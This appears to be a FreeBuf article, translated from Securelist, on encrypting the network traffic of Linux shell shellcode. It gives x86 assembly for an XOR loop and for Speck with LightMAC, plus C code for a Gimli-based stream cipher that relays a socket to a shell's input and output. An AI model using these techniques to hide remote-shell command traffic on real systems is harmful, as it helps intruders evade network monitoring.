freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Shellcode与加密流量之间的那些事儿
2018-09-02 13:00:14

前言

在这篇文章中,我们将简单介绍如何在通过TCP通信的位置无关代码(PIC)中实现数据加密。

我将以Linux下的同步Shell作为演示样例,因此我建议大家在阅读本文之前先阅读下面这几篇关于Shellcode的细节文章。

Shellcode: Linuxx86同步Shell汇编

Shellcode:Linux AMD64同步Shell汇编

Shellcode:Linux ARM同步Shell汇编

可能还需要查看关于加密算法的内容:Shellcode:ARM汇编中的加密算法介绍

协议和代码库

当我们在思考加密协议时,第一个想到的很可能是安全传输层协议(TLS),因为它是针对Web安全的工业级标准。有的人可能还会想到SSHIPSec等等,但是考虑到这些协议所采用的底层算法,它们其实都不适用于资源受限环境。而类似SHA-2和分组密码(例如Blowfish)这样加密哈希函数也并不是为类似RFID芯片这样的占用资源较少的电子设备设计的。

在2018年4月份,NIST曾为物联网行业的轻量级加密算法推行过一个标准化进程,整个过程需要好几年的时间才可以完成,但毫无疑问的是,整个行业并不会一直等待,因为这样会导致不安全的产品暴露在互联网中。某些密码学家选择采取主动的方式,通过自己的努力将他们设计的协议采用到这些低资源消耗的设备上,其中有两个典型的算法就是BLINKERSTROBE,而相应的适用于资源受限环境的代码库有LibHydrogenMonoCypher

分组密码

分组密码有很多种,但AES 128可能是目前最适合对在线流量进行加密的算法了,下面给出的是我们对不同种类分组密码的测试结果:

测试结果

虽然这些加密算法都非常优秀,但是他们仍需要类似计数器(CTR)和基于认证的加密模块,其中最适合消息认证码(MAC)的加密算法就是LightMAC了,因为它在实现加密的过程中使用的是相同的分组密码。

流密码

另外两种针对认证加密的热门算法(AES-GCM的替换)就是ChaCha20和Poly1305了,但是ChaCha20采用的是200字节,而Poly1305为330字节。虽然跟HMAC-SHA2相比,Poly1305已经压缩得非常小了,但仍然占用资源过多。

置换函数

如果你花了很多时间去测试各种加密算法的话,你最终会发现在构造流密码、分组密码、加密认证模型、加密哈希函数和随机数生成器时,你需要的仅仅只是一个置换函数。下面这个表格给出的是我们针对三种函数的测试结果:

测试结果

这里我们选择使用Gimli,因为它占用资源最少,并且可以用来构造针对通信流量的加密算法。

异或密码

接下来,我们实现一个针对数据流的简单异或操作(Just For Fun!)。下面的截图中显示的是一台Windows虚拟机发送给Linux虚拟机的部分命令,其中Linux平台运行的Shellcode是没有采用任何加密的。

没有采用任何加密

捕捉到两台主机间的通信数据之后,我们可以看到如下所示的TCP流数据:

TCP流数据

给Shellcode x86汇编代码中添加部分命令后,我们就可以进行8位异或运算了:

;

      ; read(r, buf, BUFSIZ, 0);

      xor   esi, esi          ; esi = 0

      mov   ecx, edi          ; ecx = buf

      cdq                      ; edx = 0

      mov   dl, BUFSIZ        ; edx = BUFSIZ

      push  SYS_read          ; eax = SYS_read

      pop   eax

      int   0x80

     

      ; encrypt/decrypt buffer

      pushad

      xchg  eax, ecx

xor_loop:

      xor   byte[eax+ecx-1], XOR_KEY

      loop  xor_loop

      popad

     

      ; write(w, buf, len);

      xchg  eax, edx          ; edx = len

      mov   al, SYS_write

      pop   ebx               ; s or in[1]

      int   0x80

      jmp   poll_wait

通过在新的会话中执行相同的命令,通信数据将无法直接可读,我这里使用了haxdump来查看发送的命令以及接收到的结果:

接收到的结果

当然了,长度为8位的密钥是无法有效阻止攻击者恢复出通信明文的,下图给出的是Cyberchef爆破密钥的过程:

Cyberchef爆破密钥的过程

Speck和LightMAC

一开始,我使用的是下面这段代码来对数据包的加密进行验证,它使用了Encrypt-then-MAC (EtM),而且这种方法比其他的方法要更安全,比如说MAC-then-Encrypt (MtE) 或Encrypt-and-MAC(E&M):

bits32

   

%defineSPECK_RNDS    27

%defineN              8

%defineK             16 

;*****************************************

;Light MAC parameters based on SPECK64-128

;

; N =64-bits

; K =128-bits

;

%defineCOUNTER_LENGTH N/2  ; should be <= N/2

%defineBLOCK_LENGTH   N  ; equal to N

%defineTAG_LENGTH     N  ; >= 64-bits && <= N

%defineBC_KEY_LENGTH  K  ; K

 

%defineENCRYPT_BLK speck_encrypt

%defineGET_MAC lightmac

%defineLIGHTMAC_KEY_LENGTH BC_KEY_LENGTH*2 ; K*2

   

%definek0 edi   

%definek1 ebp   

%definek2 ecx   

%definek3 esi

 

%definex0 ebx   

%definex1 edx

 

; esi= IN data

; ebp= IN key

 

speck_encrypt:  

      pushad

 

      push   esi            ; save M

     

      lodsd                  ; x0 = x->w[0]

      xchg   eax, x0

      lodsd                  ; x1 = x->w[1]

      xchg   eax, x1

 

      mov    esi, ebp       ; esi = key

      lodsd

      xchg   eax, k0        ; k0 = key[0]

      lodsd

      xchg   eax, k1        ; k1 = key[1]

      lodsd

      xchg   eax, k2        ; k2 = key[2]

      lodsd

      xchg   eax, k3        ; k3 = key[3]   

      xor    eax, eax       ; i = 0

spk_el:

      ; x0 = (ROTR32(x0, 8) + x1) ^ k0;

      ror    x0, 8

      add    x0, x1

      xor    x0, k0

      ; x1 = ROTL32(x1, 3) ^ x0;

      rol    x1, 3

      xor    x1, x0

      ; k1 = (ROTR32(k1, 8) + k0) ^ i;

      ror    k1, 8

      add    k1, k0

      xor    k1, eax

      ; k0 = ROTL32(k0, 3) ^ k1;

      rol    k0, 3

      xor    k0, k1   

      xchg   k3, k2

      xchg   k3, k1

      ; i++

      inc    eax

      cmp    al, SPECK_RNDS   

      jnz    spk_el

     

      pop    edi   

      xchg   eax, x0        ; x->w[0] = x0

      stosd

      xchg   eax, x1        ; x->w[1] = x1

      stosd

      popad

      ret

 

; edx= IN len

; ebx= IN msg

; ebp= IN key

; edi= OUT tag     

lightmac:

      pushad

      mov     ecx, edx

      xor     edx, edx

      add     ebp, BLOCK_LENGTH + BC_KEY_LENGTH     

      pushad                 ; allocate N-bytes for M

      ; zero initialize T

      mov    [edi+0], edx   ; t->w[0] = 0;

      mov    [edi+4], edx   ; t->w[1] = 0;

      ; while we have msg data

lmx_l0:

      mov    esi, esp       ; esi = M

      jecxz  lmx_l2         ; exit loop ifmsglen == 0

lmx_l1:

      ; add byte to M

      mov    al, [ebx]      ; al = *data++

      inc    ebx

      mov    [esi+edx+COUNTER_LENGTH], al          

      inc    edx            ; idx++

      ; M filled?

      cmp    dl, BLOCK_LENGTH - COUNTER_LENGTH

      ; --msglen

      loopne lmx_l1

      jne    lmx_l2

      ; add S counter in big endian format

      inc    dword[esp+_edx]; ctr++

      mov    eax, [esp+_edx]

      ; reset index

     cdq                    ; idx = 0

      bswap  eax            ; m.ctr =SWAP32(ctr)

      mov    [esi], eax

      ; encrypt M with E using K1

      call   ENCRYPT_BLK

      ; update T

      lodsd                  ; t->w[0] ^= m.w[0];

      xor    [edi+0], eax     

      lodsd                  ; t->w[1] ^= m.w[1];

      xor    [edi+4], eax        

      jmp    lmx_l0         ; keep going

lmx_l2:

      ; add the end bit

      mov    byte[esi+edx+COUNTER_LENGTH], 0x80

      xchg   esi, edi       ; swap T and M

lmx_l3:

      ; update T with any msg dataremaining   

      mov    al, [edi+edx+COUNTER_LENGTH]

      xor    [esi+edx], al

      dec    edx

      jns    lmx_l3

      ; advance key to K2

      add    ebp, BC_KEY_LENGTH

      ; encrypt T with E using K2

      call   ENCRYPT_BLK

      popad                  ; release memory for M

      popad                  ; restore registers

      ret

 

; IN:ebp = global memory, edi = msg, ecx = enc flag, edx = msglen

;OUT: -1 or length of data encrypted/decrypted

encrypt:

      push   -1

      pop    eax            ; set return valueto -1

      pushad

      lea    ebp, [ebp+@ctx] ; ebp crypto ctx

      mov    ebx, edi       ; ebx = msg     

      pushad                 ; allocate 8-bytes fortag+strm

      mov    edi, esp       ; edi = tag

      ; if (enc) {

      ;  verify tag + decrypt

      jecxz  enc_l0

      ; msglen -= TAG_LENGTH;

      sub    edx, TAG_LENGTH

      jle    enc_l5         ; return -1 if msglen <= 0

      mov    [esp+_edx], edx

      ; GET_MAC(ctx, msg, msglen, mac);

      call   GET_MAC

      ; memcmp(mac, &msg[msglen],TAG_LENGTH)

      lea    esi, [ebx+edx] ; esi = &msg[msglen] 

      cmpsd

      jnz    enc_l5         ; not equal? return-1

      cmpsd

      jnz    enc_l5         ; ditto

      ; MACs are equal

      ; zero the MAC

      xor    eax, eax

      mov    [esi-4], eax

      mov    [esi-8], eax

enc_l0:

      mov    edi, esp

      test   edx, edx       ; exit if (msglen== 0)

      jz     enc_lx

      ; memcpy (strm, ctx->e_ctr,BLOCK_LENGTH);

      mov    esi, [esp+_ebp]; esi = ctx->e_ctr

      push   edi

      movsd

      movsd

      mov    ebp, esi

      pop    esi     

      ; ENCRYPT_BLK(ctx->e_key, &strm);

      call   ENCRYPT_BLK

      mov    cl, BLOCK_LENGTH

      ; r=(len > BLOCK_LENGTH) ?BLOCK_LENGTH : len;

enc_l2:

      lodsb                  ; al = *strm++

      xor    [ebx], al      ; *msg ^= al

      inc    ebx            ; msg++

      dec    edx

      loopnz enc_l2         ; while (!ZF&& --ecx)

      mov    cl, BLOCK_LENGTH     

enc_l3:                      ; do {

      ; update counter

      mov    ebp, [esp+_ebp]

      inc    byte[ebp+ecx-1]   

      loopz  enc_l3         ; } while (ZF&& --ecx)

      jmp    enc_l0

enc_lx:

      ; encrypting? add MAC of ciphertext

      dec    dword[esp+_ecx]

      mov    edx, [esp+_edx]

      jz     enc_l4

      mov    edi, ebx

      mov    ebx, [esp+_ebx]

      mov    ebp, [esp+_ebp]

      ; GET_MAC(ctx, buf, buflen, msg);

      call   GET_MAC

      ; msglen += TAG_LENGTH;

      add    edx, TAG_LENGTH

enc_l4:

      ; return msglen;

      mov    [esp+32+_eax], edx           

enc_l5:     

      popad

      popad

      ret

需要注意的是,这里还得用到一个协议,接收方在对数据有效性进行验证之前需要知道发送方到底发送了多少数据过来,因此加密长度需要首先发送,接下来才是加密数据。但是请等一下,这里明明应该是Shellcode,为什么现在搞得那么复杂呢?试一下RC4?不,请大家往下看!

Gimli

为了使用Gimli来代替RC4,我编写了下面这段代码,这里的置换函数本质上就是Gimli:

#defineR(v,n)(((v)>>(n))|((v)<<(32-(n))))

#defineF(n)for(i=0;i<n;i++)

#defineX(a,b)(t)=(s[a]),(s[a])=(s[b]),(s[b])=(t)

 

voidpermute(void*p){

  uint32_t i,r,t,x,y,z,*s=p;

 

  for(r=24;r>0;--r){

    F(4)

      x=R(s[i],24),

      y=R(s[4+i],9),

      z=s[8+i],  

      s[8+i]=x^(z+z)^((y&z)*4),

      s[4+i]=y^x^((x|z)*2),

     s[i]=z^y^((x&y)*8);

    t=r&3;   

    if(!t)

      X(0,1),X(2,3),

      *s^=0x9e377900|r;  

    if(t==2)X(0,2),X(1,3);

  }

}

 

typedefstruct _crypt_ctx {

    uint32_t idx;

    int     fdr, fdw;

    uint8_t s[48];

    uint8_t buf[BUFSIZ];

}crypt_ctx;

 

uint8_tgf_mul(uint8_t x) {

    return (x << 1) ^ ((x >> 7) *0x1b);

}

 

//initialize crypto context

voidinit_crypt(crypt_ctx *c, int r, int w, void *key) {

    int i;

   

    c->fdr = r; c->fdw = w;

   

    for(i=0;i<48;i++) {

      c->s[i] = ((uint8_t*)key)[i % 16] ^gf_mul(i);

    }

    permute(c->s);

    c->idx = 0;

}

 

//encrypt or decrypt buffer

voidcrypt(crypt_ctx *c) {

    int i, len;

 

    // read from socket or stdout

    len = read(c->fdr, c->buf, BUFSIZ);

   

    // encrypt/decrypt

    for(i=0;i<len;i++) {

      if(c->idx >= 32) {

        permute(c->s);

        c->idx = 0;

      }

      c->buf[i] ^= c->s[c->idx++];

    }

    // write to socket or stdin

    write(c->fdw, c->buf, len);

}

在Linux Shell中使用这段代码之前,我们需要声明两个单独的加密上下文来处理输入、输出和128位的静态密钥:

//using a static 128-bit key

    crypt_ctx          *c, c1, c2;

   

    // echo -n top_secret_key | openssl md5-binary -out key.bin

    // xxd -i key.bin

   

    uint8_t key[] = {

      0x4f, 0xef, 0x5a, 0xcc, 0x15, 0x78, 0xf6,0x01,

      0xee, 0xa1, 0x4e, 0x24, 0xf1, 0xac, 0xf9,0x49 };

在进入主输出循环之前,我们还需要对每一个上下文初始化文件读取和写入描述符,这样可以减少代码的行数:

//

        // c1 is for reading from socket andwriting to stdin

        init_crypt(&c1, s, in[1], key);

       

        // c2 is for reading from stdout andwriting to socket

        init_crypt(&c2, out[0], s, key);

       

        // now loop until user exits or someother error

        for (;;) {

          r = epoll_wait(efd, &evts, 1,-1);

                 

          // error? bail out          

          if (r<=0) break;

         

          // not input? bail out

          if (!(evts.events & EPOLLIN))break;

 

          fd = evts.data.fd;

         

          c = (fd == s) ? &c1 : &c2;

         

          crypt(c);    

        }

总结

对shellcode进行恢复之后,将能够得到明文数据,因为我在这里加密所采用的是一个静态密钥,为了防止这种情况出现,大家可以尝试使用类似Diffie-Hellman这样的密钥交换协议来实现,这个就留给大家自己动手尝试啦!

* 参考来源:securelist,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

# shellcode # 加密流量
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者